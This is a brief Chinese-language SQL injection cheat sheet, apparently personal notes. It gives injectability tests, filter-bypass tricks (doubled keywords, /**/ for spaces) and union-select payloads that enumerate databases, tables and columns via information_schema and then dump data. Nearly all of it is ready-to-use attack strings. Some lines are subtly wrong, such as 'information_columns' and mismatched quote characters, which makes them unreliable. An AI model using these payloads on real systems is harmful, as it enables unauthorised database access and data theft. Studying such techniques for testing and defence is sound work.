判断是否能注入
单引号’,显示错误
数字型注入
1 or 1=1 正常显示
1 or 1=2 正常显示
1 and 1=1 正常显示
1 and 1=2 显示错误
列出所有字段
1’ and ‘1’ = '1
判断过滤字符方法
1.双写
例. 1’ andand ‘1’='1
2.查看错误信息
3.用/**/代替空格
爆数据库
1’ union select schema_name from information_schema.schemata where ‘1’ ='1
爆表
1’ union select table_name from information_schema.tables where ‘1’ ='1
爆字段名
1’ union select column_name from information_columns where table_name = 'tablename
爆数据
1’ union select 字段名 from 表名 where ‘1’ ='1